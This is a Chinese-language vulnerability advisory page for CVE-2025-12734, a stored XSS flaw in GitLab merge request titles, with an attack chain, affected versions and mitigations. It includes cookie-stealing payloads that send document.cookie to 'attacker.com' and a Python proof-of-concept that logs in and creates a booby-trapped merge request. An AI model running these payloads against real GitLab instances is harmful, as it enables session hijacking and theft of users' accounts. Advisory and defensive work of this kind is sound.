IPBUF安全漏洞报告
English
CVE-2025-12734 CVSS 3.5 低危

CVE-2025-12734 GitLab Merge Request标题存储型XSS漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-12734
漏洞类型
存储型XSS(跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

GitLab存储型XSS跨站脚本攻击HTML注入Merge RequestCVE-2025-12734会话劫持Web安全

漏洞概述

CVE-2025-12734是GitLab社区版和企业版(CE/EE)中存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响从15.6版本开始的所有版本,直至18.4.6、18.5.4和18.6.2之前的版本。漏洞的根本原因在于GitLab对用户提交的Merge Request标题内容缺乏充分的HTML转义和输入验证。攻击者作为经过身份认证的低权限用户,可以在创建或编辑Merge Request时,通过在标题字段中注入恶意的HTML或JavaScript代码。当其他用户查看包含恶意内容的Merge Request时,特别是当这些请求在对话框(dialogs)中展示时,注入的脚本代码会在受害者浏览器中执行。攻击者可利用此漏洞窃取受害者的会话Cookie、劫持用户账户、执行任意操作或进行钓鱼攻击。由于该漏洞需要用户交互(受害者需要查看特定的Merge Request对话框),且CVSS评分仅为3.5,因此被评定为低危漏洞。但即便如此,在实际攻击场景中,攻击者仍可通过社会工程学手段诱导目标用户查看恶意内容,从而实现对用户账户的进一步渗透和控制。GitLab官方已于2025年12月10日发布补丁版本18.6.2修复此问题。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击向量为网络(AV:N),需要低权限认证(PR:L)即可实施攻击。攻击者利用GitLab在处理Merge Request标题时的输入验证缺陷,通过在标题字段中注入包含HTML标签和JavaScript脚本的内容。由于服务端未对用户输入进行充分的HTML实体编码,当包含恶意脚本的内容在对话框组件中渲染时,浏览器会将其解析为可执行代码。具体来说,攻击者可以构造如下Payload:<img src=x onerror=alert(document.cookie)> 或 <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。当受害用户打开包含此标题的Merge Request详情页或相关对话框时,恶意脚本会在其浏览器上下文中执行。由于GitLab的会话管理使用Cookie,攻击者可以窃取会话令牌从而劫持用户会话。值得注意的是,GitLab的某些组件(如对话框)可能对HTML内容有特殊处理逻辑,这为攻击者提供了绕过常规XSS防护的机会。漏洞的利用条件相对宽松,只需攻击者具有创建Merge Request的权限即可,无需特殊的管理员权限。

攻击链分析

STEP 1
步骤1
攻击者作为GitLab低权限用户登录平台,获取有效的会话认证
STEP 2
步骤2
攻击者创建一个新的Merge Request或在现有MR中修改标题字段
STEP 3
步骤3
攻击者在Merge Request标题中注入恶意HTML/JavaScript代码,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
服务端保存包含恶意代码的Merge Request标题,由于缺乏HTML转义,恶意代码被持久化存储
STEP 5
步骤5
受害用户访问包含恶意内容的Merge Request,当该内容在对话框组件中渲染时,浏览器将其解析为可执行脚本
STEP 6
步骤6
恶意JavaScript代码在受害用户浏览器中执行,可窃取Cookie、会话令牌或执行其他恶意操作
STEP 7
步骤7
攻击者利用窃取的凭证劫持受害用户会话,进一步获取敏感信息或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12734 GitLab Merge Request Title XSS PoC # This PoC demonstrates the XSS vulnerability in GitLab Merge Request titles import requests import json from urllib.parse import quote # Configuration GITLAB_URL = "https://gitlab.example.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" PROJECT_ID = "your_project_id" # XSS Payload - steals cookies when rendered in dialog XSS_PAYLOAD = '''<img src=x onerror=" fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)) ">''' def login(): """Authenticate to GitLab and get session token""" session = requests.Session() login_url = f"{GITLAB_URL}/users/sign_in" # Get CSRF token response = session.get(login_url) csrf_token = session.cookies.get('_gitlab_session') # Login request login_data = { 'user[login]': USERNAME, 'user[password]': PASSWORD, 'authenticity_token': csrf_token } response = session.post(login_url, data=login_data) return session if response.status_code == 200 else None def create_malicious_mr(session): """Create Merge Request with XSS payload in title""" mr_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/merge_requests" mr_data = { 'title': f"Test MR {XSS_PAYLOAD}", 'source_branch': 'feature-branch', 'target_branch': 'main', 'description': 'Malicious MR for CVE-2025-12734 demonstration' } response = session.post(mr_url, json=mr_data) if response.status_code == 201: print(f"[+] Malicious MR created successfully") print(f"[+] XSS Payload embedded in title: {XSS_PAYLOAD}") print(f"[+] When viewed in dialog, the script will execute") return response.json() else: print(f"[-] Failed to create MR: {response.text}") return None def main(): print("="*60) print("CVE-2025-12734 GitLab Stored XSS PoC") print("="*60) # Step 1: Login to GitLab print("\n[1] Authenticating to GitLab...") session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Create malicious MR print("\n[2] Creating malicious Merge Request...") result = create_malicious_mr(session) if result: print(f"\n[+] MR IID: {result.get('iid')}") print(f"[+] MR URL: {result.get('web_url')}") print("\n[!] Attack vector: When any user views this MR in a dialog,") print(" the XSS payload will execute in their browser context") if __name__ == "__main__": main()

影响范围

GitLab CE/EE 15.6 <= 版本 < 18.4.6
GitLab CE/EE 18.5 <= 版本 < 18.5.4
GitLab CE/EE 18.6 <= 版本 < 18.6.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制用户创建Merge Request的权限,仅允许受信任的用户创建MR;2)在Web应用防火墙(WAF)层面添加XSS过滤规则;3)提醒用户不要点击来源不明的Merge Request链接;4)监控GitLab日志中的异常请求模式;5)考虑暂时禁用Merge Request的对话框预览功能。但这些措施仅为临时解决方案,无法从根本上修复漏洞,建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表